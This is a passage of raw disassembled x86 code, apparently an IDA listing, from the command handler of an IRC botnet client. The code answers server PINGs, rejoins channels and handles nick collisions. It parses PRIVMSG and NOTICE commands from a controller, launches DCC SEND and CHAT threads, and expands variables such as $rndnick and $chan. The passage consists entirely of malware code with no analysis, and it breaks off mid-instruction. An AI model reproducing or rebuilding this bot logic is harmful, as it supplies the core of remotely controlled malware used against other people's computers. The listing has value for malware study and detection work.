-0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA68 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA64 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA60 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9F4 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C9A0 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C97C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C960 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C924 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call near ptr 2670000h nop jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C920 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C914 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE58 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8F8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8F0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8D8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call near ptr 2670914h nop push eax push offset unk_42C89C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C858 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C830 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h call near ptr 2670000h nop jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2670914h push eax push offset unk_42C7F8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C7C8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C794 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_42923C, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D160 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42923C jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA68 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D178[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D160[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C750 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 